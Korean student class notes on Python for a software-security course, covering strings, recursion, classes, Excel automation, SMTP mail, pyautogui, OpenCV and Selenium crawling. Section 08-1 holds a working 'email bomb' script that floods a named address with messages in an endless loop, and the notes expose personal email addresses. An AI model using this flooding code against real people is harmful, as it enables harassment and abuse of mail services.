소프트웨어 개발보안 수업내용 정리 (20403 김성훈)

> 안내
>
> 가ㄴ 과 가ㅌ이 오타가 나는 것은 우분투 폰트 문제입니다.

01. 파이썬 설치 & 서브라임 텍스트

01-1. 파이썬 및 서브라임 텍스트 설치

- `Python` 설치는 Python 사이트에서 이곳의 아래에서 다운한다.
- 다운할 때 `Add Python 3.6 to PATH` 옵션을 설정하면 매우 편리하다.
- 다음으로 `Sublime Text` 를 공식 사이트에서 다운받는다.

01-2. 파이썬 기초

- `Python` 에서 출력을 하고싶다면, `print` 함수를 사용하면 된다.

```
print("Hello World!")
```

01-3. 파이썬 스크립트 실행

- 윈도우 익스플로러에서 쉬프트 + 우클릭을 하게되면 `powershell` 을 열 수 있다.
- python 스크립트 파일을 넣어놓은 폴더에서 파워쉘을 연다.
- 그리고 `python <파일이름>`을 통해 실행한다.

01-4. 팁

1. `Sublime Text` 에서 `Ctrl + /` 를 누르게 되면 주석을 켜고 끌 수 있다.
2. 파워쉘에서 위쪽 화살표를 누르면 이전 명령을 또 사용할 수 있다.

02. 파이썬에 대해서

02-1. 파이썬이란 무엇인가

- 스크립트 언어(인터프리터) : 컴파일 없이 실행 가능한 언어
- 컴파일 : 어떤 언어의 코드를 다른 언어로 변환
- 컴파일러 : 프로그램 단위 번역, 느린 번역 속도, 실행 속도 빠름, 큰 메모리
- 인터프리터 : 명령 줄 단위 번역, 빠른 번역 속도, 실행 속도 느림, 작은 메모리

02-2. 연산자 및 자료형

- `print()` : 표준 출력
- `type()` : 대상의 타입
- `string` + `string` = `stringstring`
- 자료형은 대입을 하는 순가ㄴ 결정됨.
- `int` / `int` = `float`

- `def function():` : 함수 정의
- 연산자
  - `+` : 더하기
  - `-` : 빼기
  - `*` : 곱하기
  - `/` : 나누기
  - `**` : 거듭제곱
  - `//` : 나머지를 버리는 나누기
  - `%` : 나머지 연산

02-3. 문자열과 리스트

- 문자열은 `''`, `" "`, `''' '''`, `""" """`
- 탭 = `ctrl + tab`
- `print("\n" * x)` : 문자열 곱셈이 가능하다.
- 인덱싱 : 특정 문자 배열처럼 0부터 시작
  - `a[0]` : 0부터 시작
  - `a[-1]` : 뒤에서 첫번째
- 슬라이싱 : 특정 문자열 자르기
  - `a[0:3]` : 0부터 3까지
  - `a[0:]` : 0부터 끝까지
  - `a[:]` : 전부다
  - `a[:3]` : 3 까지

02-4. 자료구조

- 리스트 : 여러 개 자료형을 동시에 담을 수 있다.
- 딕셔너리 : 대응 관계를 나타낼 수 있는 자료형
  - 인덱싱은 가능
  - 슬라이싱은 불가능
  - Key가ㅅ을 통해 value를 얻을 수 있음.
  - `dic = {"가" : "1", "나" : "2", "다" : "3"}`

02-5. 내장함수

- `count` : 해당 문자의 개수
- `index` : 해당 문자의 인덱스 (없으면 에러)
- `find` : 해당 문자의 인덱스 (없으면 -1)
- `join` : 두 문자열을 섞음 (실행하는 메소드의 주인이 인자의 사이로 들어가ㅁ)
- `upper` : 대문자로 변환
- `lower` : 소문자로 변환
- `replace` : 문자열 상에서 첫번째 인자에 해당하는 문자를 전부 두번째 인자로 변환
- `split` : 문자를 인자로 나누어서 배열로 만듬
- `lstrip` : 가장 왼쪽의 공백 지우기
- `rstrip` : 가장 오른쪽의 공백 지우기
- `strip` : 양쪽 공백 지우기
- `type` : 타입 출력
- `int` : 문자를 정수로 반환

- `str` : 문자열로 반환
- `ord` : 문자를 아스키코드로 반환
- `chr` : 아스키를 문자로 반환

03. 파이썬 공부

03-1. count

```
a = "programming"
res = a.count("m")

print(res)
```

```
2
```

- count 함수가 메소드로 지정된 변수의 문자열에서 count 함수 인자(문자)의 개수를 반환한다.

03-2. find, index

```
a = "programming"
res = a.find("m")

print(res)

a = "programming"
res = a.index("m")

print(res)
```

```
6
6
```

- find 함수가 메소드로 지정된 변수의 문자열에서 find 함수의 인자(문자)의 인덱스를 반환한다.
- 만약 찾는 문자가 없다면? => -1 을 출력
- 반환되는 -1이 정수이기 때문에 연산이 가능하다
- ex) if res == -1 또는 res + 1
- index 함수는 만약 찾는 문자가 없다면 에러 출력

03-3. join

```
a = "_m-_-m_"
res = a.join("ABC")
```

```
print(res)

a = [1, "asdf", 123, "asdfasdf"]
print(a[0], a[2:4])
print(str(a[2:4])[1:-1])
```

```
A_m-_-m_B_m-_-m_C
1 [123, 'asdfasdf']
123, 'asdfasdf'
```

- join 함수가 메소드로 지정돼 변수의 문자를 join 함수의 인자(문자) 사이에 삽입한다.
- 숫자도 될까? => 당연히 안된다.
- 가능하게 하는 방법은?
    - 숫자를 문자로 지정해준다.
- 한 줄씩 띄우게 하고 싶을 땐?
    - `"\n".join(a)`

03-4. upper, lower

```
a = "programming"
res = a.upper()

print(res)

a = "PROGRAMMING"
res = a.lower()

print(res)
```

```
PROGRAMMING
programming
```

- lower는 소문자로, upper는 대문자로 반환한다.
- 특수문자에 대해서는 작동하지 않는다.

03-5. replace

```
a = "programming"
res = a.replace("gramming", "gaming")

print(res)
```

```
progaming
```

- 문자열을 치환한 결과를 반환한다.
- 공백으로부터 치환이 가능할까? `replace("", "1")`
    - 가능하다.
- `programming -> 1p1r1o1g1r1a1m1m1i1n1g1`
- 공백으로 치환도 가능하다.
- 띄어쓰기로부터 치환이 가능하다.
- 없는 문자열은 치환이 불가능하다 => 원본 그대로 출력

03-6. split, lstrip, rstrip, strip

```
a = "pro gramm ing"
res = a.split()

print(res)

a = "     programming     "
res = a.lstrip()

print("\"" + res + "\"")

a = "     programming     "
res = a.rstrip()

print("\"" + res + "\"")

a = "     programming     "
res = a.strip()

print("\"" + res + "\"")
```

```
['pro', 'gramm', 'ing']
"programming     "
"     programming"
"programming"
```

- split : 문자열을 나눈 결과를 리스트로 반환한다.
- lstrip : 왼쪽 공백을 제거한다.
- rstrip : 오른쪽 공백을 제거한다.
- strip : 앞뒤의 공백을 제거한다.

03-7. type

```
a = "programming"
res = a.split()

print(type(res))
```

```
<class 'list'>
```

- 해당 변수의 타입을 반환한다.

03-8. str, int, ord, chr

```
a = 123
res = str(a)

print(res)

a = "123"
res = int(a) # 실수는 float

print(res)

a = "A"
res = ord(a)

print(res)

a = 65
res = chr(a)

print(res)
```

```
123
123
65
A
```

- str : 숫자를 문자열로 바꿈
    - 문자열인지 판단하는 방법 => *10
    - 문자를 문자열로 바꾸는 것
- int : 문자로 표현된 숫자를 정수형으로 바꿈
    - 숫자가 아닌 가ㅅ은 불가능
- ord : 문자를 아스키로 바꿈
- chr :정수에 해당하는 아스키 문자를 반환한다.
    - `res = chr(a/2)` 와 가ㅌ이 썼을 때, `a/2`는 float이므로 안됨

03-9. append

```
res = [1, 2, 3]
res.append(4)

print(res)
```

```
[1, 2, 3, 4]
```

- append의 인자를 리스트의 맨 뒤에 추가한다.
- 이 때 반환가ㅅ은 None

03-10. sort

```
res1 = ["e", "a", "h"]
res2 = [1, 6, 2]

res1.sort()
res2.sort(reverse = True)

print(res1)
print(res2)

print(sorted(res1, reverse=True))
print(sorted(res2))


a = {"2": "a", "1": "c", "3": "b"}
print(sorted(a))
```

```
['a', 'e', 'h']
[6, 2, 1]
['h', 'e', 'a']
[1, 2, 6]
['1', '2', '3']
```

- 리스트 안의 가ㅅ들을 정렬한다.
- res1.sort() 는 반환가ㅅ 없음
- sorted는 반환만 한다.
- 딕셔너리는 키가ㅅ들이 정렬되서 나온다.

03-11. reverse, insert, remove, pop, count

```
res = ["e", "a", "h"]
res.reverse()

print(res)

res = [100, 123, 523]
res.insert(1, 2)

print(res)

res = [10, 20, 30, 40, 10]
res.remove(10)

print(res)

res = [10, 20, 30, 40]
a = res.pop()

print(a)
print(res)

a = [10, 10, 101, 102, 10, "abasf"]
res = a.count(10)

print(res)
```

```
['h', 'a', 'e']
[100, 2, 123, 523]
[20, 30, 40, 10]
40
[10, 20, 30]
3
```

- reverse : 리스트 내부의 가ㅅ을 거꾸로 넣는다.
- insert : 특정 인덱스의 가ㅅ이 되도록 요소를 추가한다.
- remove : 함수의 인자가ㅅ을 찾아서 삭제한다.
    - 가ㅅ이 여러개라면 맨 첫 번째 요소만 삭제한다.
- pop : 맨 마지막의 요소를 제거한 이후 그 가ㅅ을 반환한다.
- count : 함수의 인자가ㅅ을 찾아서 개수를 샌다.

03-12. keys

```
a = {"a": 123, "b": 456}
res = a.keys()
res2 = list(a.items())
```

```
print(res)
print(res2)
```

```
dict_keys(['a', 'b'])
[('a', 123), ('b', 456)]
```

- 딕셔너리의 key 들을 반환한다.

03-13. get

```
a = {"q": 123, "w": 456}
res = a.get("q")
res2 = a.get("a", 100)

print(res)
print(a["q"])
print(res2)
```

```
123
123
100
```

- 딕셔너리의 가ㅅ을 반환한다.
- 단, 존재하지 않는 키일 때, get 함수는 None를, [,] 를 사용했을 때는 오류가 난다.

03-14. in

```
a = {"q": 123, "w": 456}

print("q" in a)
print("a" in a)
```

```
True
False
```

- 가ㅅ이 딕셔너리의 키(또는 리스트의 가ㅅ들)에 있을 경우 True, 없으면 False

05. 문제 풀이

05-1. 문제 풀이 단계

추상화

- 현재상태 정의
- 목표상태 정의
- 문제 분해
- 핵심요소(조건) 추출

예시 - 하노이탑

첫 번째 문제분해

- 현재 상태
  - 탑이 모두 A기둥에 있음
- 목표 상태
  - 제일 큰 원판을 남기고 나머지 원판을 B기둥에 옮긴다.
- 문제 분해
  - 위의 과정이 문제 분해임.
- 핵심 요소
  - 제일 큰 원판 -> n
  - 나머지 원판 -> 1 ~ n - 1
  - 큰 원판 이외의 나머지 원판들을 인접 기둥에 옮기고 큰 원판을 마지막 기둥에 옮긴 후 나머지 원판을 옮긴다. 이 과정을 반복.

두 번째 문제분해

- 현재 상태
  - 제일 큰 원판이 A 기둥에 있고, 나머지 원판들이 B 기둥에 있음.
- 목표 상태
  - 제일 큰 원판이 C 기둥에 있고, 나머지 원판들이 B 기둥에 있음.
- 문제 분해
  - 위의 과정이 문제 분해임.
- 핵심 요소
  - 제일 큰 원판 옮기는 횟수 -> +1

세 번째 문제분해

- 현재 상태
  - 제일 큰 원판이 C 기둥에 있고, 나머지 원판들이 B 기둥에 있음.
- 목표 상태
  - 모든 원판이 C 기둥에 있음.
- 문제 분해
  - 위의 과정이 문제 분해임.
- 핵심 요소
  - 나머지 기둥 옮기는 횟수 -> n - 1
  - n - 1 이 1 이면 종료

알고리즘

- 0개 이상의 입력
- 1개 이상의 결과
- 명확성 / 유한성 / 실행 가능성

자동화

- 코딩
- 시뮬레이션

05-2. 문제 적용

- n 개의 계단을 오를 때 한 번에 1계단 또는 2계단으로 오를 수 있는 방법의 수 구하기.
- 만약 n=3 일 때 계단을 오르는 방법은?

```
# -*- coding: utf-8 -*-

def stair(n):
    if n < 3:
        return n
    else:
        return stair(n-1)+stair(n-2)


n = int(input("Input stair's number : "))
print(stair(n))
```

05-3. 하노이탑 문제

```
# -*- coding: utf-8 -*-

def hanoi(n):
    return 1 if n is 1 else hanoi(n-1) + 1 + hanoi(n-1)
    # 유한성 조건

n = int(input("Input hanoi column's number : "))
# 입력(0개 이상)

print(hanoi(n)) # 출력(1개 이상)
```

최적화 적용

```
# -*- coding: utf-8 -*-

n = int(input("Input hanoi column's number : "))
print(2 ** n - 1)
```

05-4. 계단 알고리즘

```
# -*- coding: utf-8 -*-

def stair(n):
    if n is 1:
        return 1
    elif n is 2:
        return 2

n = int(input("Input stair's number : "))
print(stair(n))
```

최적화 적용

```
# -*- coding: utf-8 -*-

def stair(n):
    if n < 3:
        return n
    else:
        return stair(n-1)+stair(n-2)


n = int(input("Input stair's number : "))
print(stair(n))
```

05-5. 암호 문제

문제

> 중복되지 않은 10개의 코드를 가진 암호코드표가 주어지고, 가ㄱ의 암호 코드에는 0부터 9까지의 숫자가 매칭된다. 암호문이 주어졌을 때 이 암호코드를 기반으로 암호문을 복호화하는 알고리즘을 작성하시오. 암호문은 공백을 허용한다.

풀이 코드

```
# -*- coding: utf-8 -*-

code = "iohcgpdabk"

inp = raw_input("Input your text : ")
print("".join([n if code.find(n) is -1 else str(code.find(n)) for n in
inp]))
```

06. 사용자 지정 함수

06-1. 함수란

> 입력가ㅅ을 받아서, 특정 연산(작업)을 수행한 후에 결과를 출력하는 것
>
> 입력가ㅅ을 받아서, 특정 연산(작업)을 수행한 결과
>
> 다만, 프로그래밍에서는 결과보다는 어떤 기능을 하느냐가 더 주안점

06-2. 사용자 함수

주의사항

- 함수 호출 전까지는 함수 안의 문장들은 수행 X
- 함수는 호출 되기 전에 먼저 만들어져야 함
- 함수의 정의 => def 함수이름(함수의 인수..):
- 함수는 선언하고 호출하는 위치가 중요하다
- C언어처럼 앞에서 프로토프로토타입을 선언할 수 없을까?
    - 아직까지는 없다.

동작과정

- 반환을 하는지 안 하는지 생가ㄱ하기
- def print_name():
- def sum(a, b):

06-3. 사용법

```
# -*- coding: utf-8 -*-

def func1(*a):
    print(a * 3)

print("start")
func1("agagd")

# function  that return value
def sum(a, b):
    return a + b

a, b = input("Input number > ").split()
res = sum(int(a), int(b))
print(res)


# 그냥 함수 안에 다 박았따리
def skip():
    while True:
        n = input("Input > ")
```

```
        if "skip" in n:
            print("rejected")
        elif n is bytes("quit"):
            break
        else:
            print(n)
        print("-"*10)
# 호출
skip()
```

06-4. 예시 - 가상의 이메일 전송 함수

```
# -*- coding: utf-8 -*-

def send_mail(from_mail, to_mail, subject, contents):
    print("From : \t" + from_mail)
    print("To : \t" + to_mail)
    print("Subject : \t" + subject)
    print("*"*20)
    print(contents)
    print("*"*20)
    print("*"*20)

my_email = "sunghun7511@naver.com"

users = []
users.append({"name": "noda", "email": "sunghun7511@naver.com"})
users.append({"name": "hida", "email": "sunghun7511@naver.com"})

'''
            |       user0           |           user1       |
------------|-----------------------|-----------------------|
name        |        noda           | sunghun7511@naver.com |
email       |        hida           | sunghun7511@naver.com |
'''

contents = "Hello Mr.Kim"

for user in users:
    title = "Dear. " + user["name"]
    send_mail(my_email, user["email"], title, contents)
```

07. 파이썬 클래스

07-1. 클래스가 무엇인가

클래스는 일종의 템플릿이다.

- C언어의 구조체와 유사하다

- 차이점은 구조체는 변수만 담을 수 있지만, 클래스는 함수까지 담을 수 있다.
- 즉, 클래스 = 변수 U 함수

형식

```
class ClassName():
    varname = value
    def functionName(self, args...., ...):
        val = value
```

self

- 클래스의 변수에 접근하기 위해 파이썬이 제공하는 변수
- 클래스 내에서 함수를 정의할 때 잊지 말고 꼭 쓰자

생성자

- 클래스 변수가 생성될 때 자동으로 호출되는 함수
- 클래스 내부에 정의된 변수 등을 초기화 할 때 사용

07-2. 가ㄴ단한 클래스 정의

```
# -*- coding: utf-8 -*-

# 가ㄴ단한 클래스를 정의


class SimpleTest():
    a = 0
    postfix = "\t DSM"

    def print_with(self, string):
        print(string)
        print(self.a)
        print(str(self.a) + string + self.postfix)


# 클래스 변수를 생성
s1 = SimpleTest()
s2 = SimpleTest()

print(s1.a)
print(s2.a)

s1.a = 10
s2.a = 20

print(s1.a)
print(s2.a)
```

```
s1.print_with("KSH")
s2.print_with("UYBY&HGHG")
```

07-3. 생성자

```
# -*- coding: utf-8 -*-

class SimpleTest():
    my_data = 0

    def __init__(self):
        self.my_data += 100
        print("Call init!")


simple = SimpleTest()
print(simple.my_data)
```

07-3. 엑셀 활용

openpyxl 설치

- `pip install openpyxl`

사람이 엑셀에서

- 데이터가 들어있는 파일 실행
- 데이터가 들어있는 시트로 이동
- 데이터가 있는 위치의 데이터를 활용

프로그램이 엑셀에서

- 데이터가 들어있는 파일명으로 클래스 변수 생성
- 클래스 변수에서 시트 이름을 활용하여 시트 이동
- 데이터가 있는 위치의 데이터를 활용

07-4. openpyxl 다루기

```
# -*- coding: utf-8 -*-

from openpyxl import load_workbook

# load_workbook 함수를 이용하여 엑셀 클래스 변수 생성
wb = load_workbook("test01.xlsx")
# 활성화 된 시트를 sheet 변수로 설정
sheet = wb.active
```

```
print(sheet["A1"].value)
print(sheet["A2"].value)
print(sheet["B1"].value)
print(sheet["C1"].value)
print(sheet["D3"].value)
```

```
# -*- coding: utf-8 -*-

from openpyxl import Workbook

wb = Workbook()
sheet = wb.active

sheet["A1"] = "Number"
sheet["B1"] = "Name"

sheet["A2"] = 1
sheet["B2"] = "AAA"
sheet["A3"] = 2
sheet["B3"] = "BBB"

# test02라는 파일이 있으면 덮어쓰기 됨
# 없으면 새로운 엑셀파일 생성z
wb.save("test02.xlsx")
```

```
# -*- coding: utf-8 -*-

from openpyxl import Workbook

wb = Workbook()
sheet = wb.active

sheet.title = "My_class"
# 시트 이름을 title을 써서 바꿀 수 있다.

sheet.append(["Number", "name"])

for i in range(10):
    sheet.append([i, chr(i+0x41)*3])

wb.save("test03.xlsx")

# ====================================================
# 저장 된 엑셀 파일의 내용을 출력해보자

rows = sheet["1:11"]
for row in rows:
    print(row[0].value, row[1].value)
```

```
# 행 번호를 일일히 확인할 수 없으므로
# 셀이 입력되어 있는 구가ㄴ을 알아서 인식하도록 하면 좋음

for row in sheet.iter_rows():
    print(row[0].value, row[1].value)
```

07-5. 메일 프로그램 만들기

라이브러리

email, smtplib

- 기본 라이브러리로 제공함
- 따로 설치하지 않아도 됨

라이브러리 내부

- MIME - 전자 우편을 위한 인터넷 표준 포맷
- MIMEText, MIMEMultipart - SMTP가 사용하는 양식에 맞춰서 내용을 작성해주는 클래스

코드 작성

Mail.py

```
# -*- coding: utf-8 -*-

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib

pwf = open("./password")
password = pwf.read()
pwf.close()

SMTP_SERVER = "smtp.gmail.com"
SMTP_PORT = 465

SMTP_USER = "ksh01034244823@gmail.com"
SMTP_PASSWORD = password


def send_mail(name, addr, *, subject="테스트 메일입니다.", content="테스트 메일의
내용입니다!"):
    msg = MIMEMultipart()

    msg["From"] = SMTP_USER
    msg["to"] = addr
    msg["Subject"] = subject
```

```
    msg.attach(MIMEText(_text=content, _charset="utf-8"))

    # SMTP로 접속할 서버 정보를 가진 클래스 변수를 생성한다.
    smtp = smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT)

    # 계정 정보로 로그인
    smtp.login(SMTP_USER, SMTP_PASSWORD)

    # 메일 발송
    smtp.sendmail(SMTP_USER, addr, msg.as_string())

    smtp.close()

content = """안녕하세요"""

for i in range(5):
    send_mail("김성훈", "gimgada12396@gmail.com", subject="Hello? This is
spam mail XD", content=content)
```

07-6. 엑셀과 메일 함께 사용하기

MailFunction.py

```
# -*- coding: utf-8 -*-

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib

pwf = open("./password")
password = pwf.read()
pwf.close()

SMTP_SERVER = "smtp.gmail.com"
SMTP_PORT = 465

SMTP_USER = "ksh01034244823@gmail.com"
SMTP_PASSWORD = password

class Email():
    def send_mail(self, name, addr, *, subject="테스트 메일입니다.",
content="테스트 메일의 내용입니다!"):
        msg = MIMEMultipart()

        msg["From"] = SMTP_USER
        msg["to"] = addr
        msg["Subject"] = subject

        msg.attach(MIMEText(_text=content, _charset="utf-8"))

        # SMTP로 접속할 서버 정보를 가진 클래스 변수를 생성한다.
```

```
        smtp = smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT)

        # 계정 정보로 로그인
        smtp.login(SMTP_USER, SMTP_PASSWORD)

        # 메일 발송
        smtp.sendmail(SMTP_USER, addr, msg.as_string())

        smtp.close()
```

Automail.py

```
from MailFunction import Email
from openpyxl import load_workbook

wb = load_workbook("mails.xlsx")
sheet = wb.active

e = Email()

for row in sheet.iter_rows():
    name = row[0].value
    email = row[1].value

    e.send_mail(name, email, subject="희희흐히—히희희흐힣ㅎ", content="재웅쌤 사랑해요 흐히희—히ㅣㅎㅎ")
```

08. 파이썬 현실반영

08-1. email bomb

```
# -*- coding: utf-8 -*-

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib, threading

ID = "ID"
PW = "PW"

class EmailBomb(object):
    def __init__(self, id, pw, *,
                 charset="utf-8",
                 server="smtp.gmail.com",
                 port=465):
        self._id = id
        self._pw = pw
        self._charset = charset
        self._server = server
```

```
            self._port = port

        def set_content(self, title, content):
            self._title = title
            self._content = content

        def set_my_name(self, name):
            self._name = name

        def set_target(self, target):
            self._target = target

        def bomb(self, *, _amount=1, _msg=None):
            msg = MIMEMultipart()

            msg["Subject"] = self._title
            msg["From"] = self._name
            msg["To"] = self._target

            txt = MIMEText(_text=self._content, _charset=self._charset)
            msg.attach(txt)

            msg_str = msg.as_string()

            s = smtplib.SMTP_SSL(self._server, self._port)
            s.login(self._id, self._pw)

            for i in range(_amount):
                s.sendmail(self._id, self._target, msg_str)

                if _msg is not None:
                    print(_msg.format(i + 1))

            s.close()

    if __name__ == "__main__":
        bomb = EmailBomb(ID, PW)

        bomb.set_my_name("BOBGAGOSIPDA")
        bomb.set_target("skyjjw79@hanmail.net")
        bomb.set_content("BOBGAGOSIPDA", "BOB 보내주세ㅛㅇ ㅠㅠ")

        while True:
            bomb.bomb(_amount=1000, _msg="{} 번째 전송 완료")
```

08-2. 마우스 다루기

사전 설정

- pip install pyautogui

소스

```
# -*- coding: utf-8 -*-

# pyautogui test

import pyautogui

# size
# 화면의 크기를 반환하는 pyautogui 라이브러리 함수

w, h = pyautogui.size()

print(w, h)

# pyautogui.moveTo(w / 2, h / 2)

# moveRel
#  원하는 위치(상대좌표)로 마우스를 이동
#  이동하지 않으려면 None 가ㅅ으로 인자를 설정한다.

# pyautogui.moveRel(-150, -150)

'''
pyautogui.moveTo(w/3, h/3)

for i in range(10):
    pyautogui.moveRel(w/3, 0)
    pyautogui.moveRel(0, h/3)
    pyautogui.moveRel(-w/3, 0)
    pyautogui.moveRel(0, -h/3)
'''

# click
# 옵션을 통해 횟수와 버튼 지정 가능
# x, y => 마우스 위치 이동
# clicks => 마우스 클릭 횟수
# interval => 클릭 가ㄴ격 조정(가ㅅ : second)
# button => 마우스 버튼 위치 선택(left, right)

pyautogui.click(x=w/2, y=h/2, button="left")

# typewrite
# 키를 입력하는 함수
# 지금은 영어만 입력할 수 있음.

pyautogui.typewrite('give me icecream')

# press
# 특수키를 입력할 때 사용하는 함수

pyautogui.press("enter")
```

08-3. opencv 다루기

사전 설정

- `pip install opencv-python`

소스

```
# -*- coding: utf-8 -*-
import pyautogui as py
import cv2, time
import numpy as np
from subprocess import run
from opencvloc import locateCenterImage

# locateCenterOnScreen
# 그림과 일치하는 위치의 좌표 반환 함수
# 그림파일을 png로 설정해야 함.

# lx, ly = py.locateCenterOnScreen("image.png")
# py.moveTo(lx, ly)

def locateCenterImage(img_file):
    tmp_screen = py.screenshot('./imgs/.tmp_screen.png')
    cv_screen = cv2.imread("./imgs/.tmp_screen.png")
    cv_img = cv2.imread(img_file)
    i_width, i_height, _ = cv_img.shape

    result = cv2.matchTemplate(cv_screen, cv_img, cv2.TM_CCOEFF_NORMED)
    y, x = np.unravel_index(result.argmax(), result.shape)

    return (x + int(i_width / 2), y + int(i_height / 4))

run(["calc"])

time.sleep(1)

x, y = locateCenterImage("./imgs/btn_5.png")
py.click(x, y)

x, y = locateCenterImage("./imgs/btn_mul.png")
py.click(x, y)

x, y = locateCenterImage("./imgs/btn_3.png")
py.click(x, y)

x, y = locateCenterImage("./imgs/btn_eql.png")
py.click(x, y)
```

09. 셀레니움

09-1. 셀레니움을 통한 웹 자동화

웹 드라이버의 역할

- 웹 문서를 분석하고 이를 활용하여 화면 구성
- 웹 문서에 이벤트를 전달하고 결과가ㅅ을 받음
- 웹 드라이버가 제공하는 방법으로 서로 주고 받아야 함

웹 드라이버를 직접 다루는 것

- 브라우저를 만드는 것
- 역시 라이브러리를 활용하자

Selenium

- 일종의 서버 프로그램인데 라이브러리로 제공하는
- 다양한 브라우저의 웹 드라이버 컨트롤
- 라이브러리를 통해 웹 드라이버 컨트롤 가능

웹 자동화

- selenium 설치
  - `pip install selenium`
  - 안 되면 `python -m pip install --upgrade pip`
- 웹 페이지 분석
  - 일관된 화면을 위헤 이번엔 크롬으로 활용
  - 필요 프로그램 다운로드 here
- 코딩
  - 코드를 짜기 전에
  - `try ~ except ~ finally`
    - `try` 안의 코드를 수행하다가 에러가 발생하면 발생한 시점 이후의 코드는 수행하지 않고 `except` 로 가서 코드를 수행해라 `finally` 는 에러 여부와 상관없이 코드를 수행해라

09-2. 셀레니움 다뤄보기

```
# -*- coding: utf-8 -*-

# 크롬 브라우저를 띄우기 위해 selenium 으로 웹드라이버를 가져옴
from selenium import webdriver

# 크롬 드라이버로 크롬 브라우저를 실행
driver = webdriver.Chrome("chromedriver")

try:
    # 네이버 뉴스 페이지로 이동
    driver.get("http://news.naver.com")

    # 네이버 뉴스임을 알 수 있도록 현재 타이틀 출력
    print(driver.title)
```

```
    # 최근 뉴스 목록을 가진 div id 태그를 가져옴
    title_id = driver.find_element_by_id("right.ranking_contents")

    # 위 div_id 안에 li 태그로 구분되어 있는 정보를 가져와 리스트로 저장
    news_list = title_id.find_element_by_tag_name("li")

except Exception as e:
    print(e)
```

10. 셀레니움 2

10-1. 셀레니움을 통한 크롤링 해보기

함수

- `driver.get()`
- `element.click()`
- etc...

단계

- Selenium 설정
- 포털로 이동
    - 검색어 창의 태그 분석, 입력 가ㅅ 전송
- 검색 후 결과창 분석
- 블로그, 카페, 뉴스 등
- 띄어쓰기 인것을 알 수 있음
- 클래스 중복 `Ctrl + F` 로 검색

10-2. 검색 결과 중 블로그 크롤링

```
from selenium import webdriver
from selenium.webdriver.common.keys import Keys

driver = webdriver.Chrome("chromedriver")

try:
    driver.get("https://www.naver.com")
    print(driver.title)

    elem = driver.find_element_by_id("query")
    elem.clear()
    # 가ㄴ혹 포털마다 검색어가 이미 있는 경우가 있기 때문

    elem.send_keys("대덕소프트웨어마이스터고")
    elem.send_keys(Keys.RETURN)

    blogs = driver.find_element_by_class_name("_blogBase")
```

```
    blogs_list = blogs.find_elements_by_tag_name("li")

    for post in blogs_list:
        # print(post.text)
        # print("-"*20)

        post_title = post.find_element_by_class_name("sh_blog_title")
        post_title_txt = post_title.get_attribute("title")
        print(post_title_txt)
        # ... 으로 생략되어 있는 것 -> 속성 : title
        print(post_title.get_attribute("href"))
        # url

except Exception as e:
    print(e)
finally:
    driver.close()
```

10-3. 검색 결과 중 뉴스 크롤링

```
from selenium import webdriver
from selenium.webdriver.common.keys import Keys

driver = webdriver.Chrome("chromedriver")

try:
    driver.get("https://www.naver.com")
    print(driver.title)

    elem = driver.find_element_by_id("query")
    elem.clear()
    # 가ㄴ혹 포털마다 검색어가 이미 있는 경우가 있기 때문

    elem.send_keys("대덕소프트웨어마이스터고")
    elem.send_keys(Keys.RETURN)

    news = driver.find_element_by_xpath("//*[@id=\"main_pack\"]/div[4]/ul")
    news_list = news.find_elements_by_class_name("_sp_each_title")

    for news in news_list:
        print(news.text)

except Exception as e:
    print(e)
finally:
    driver.close()
```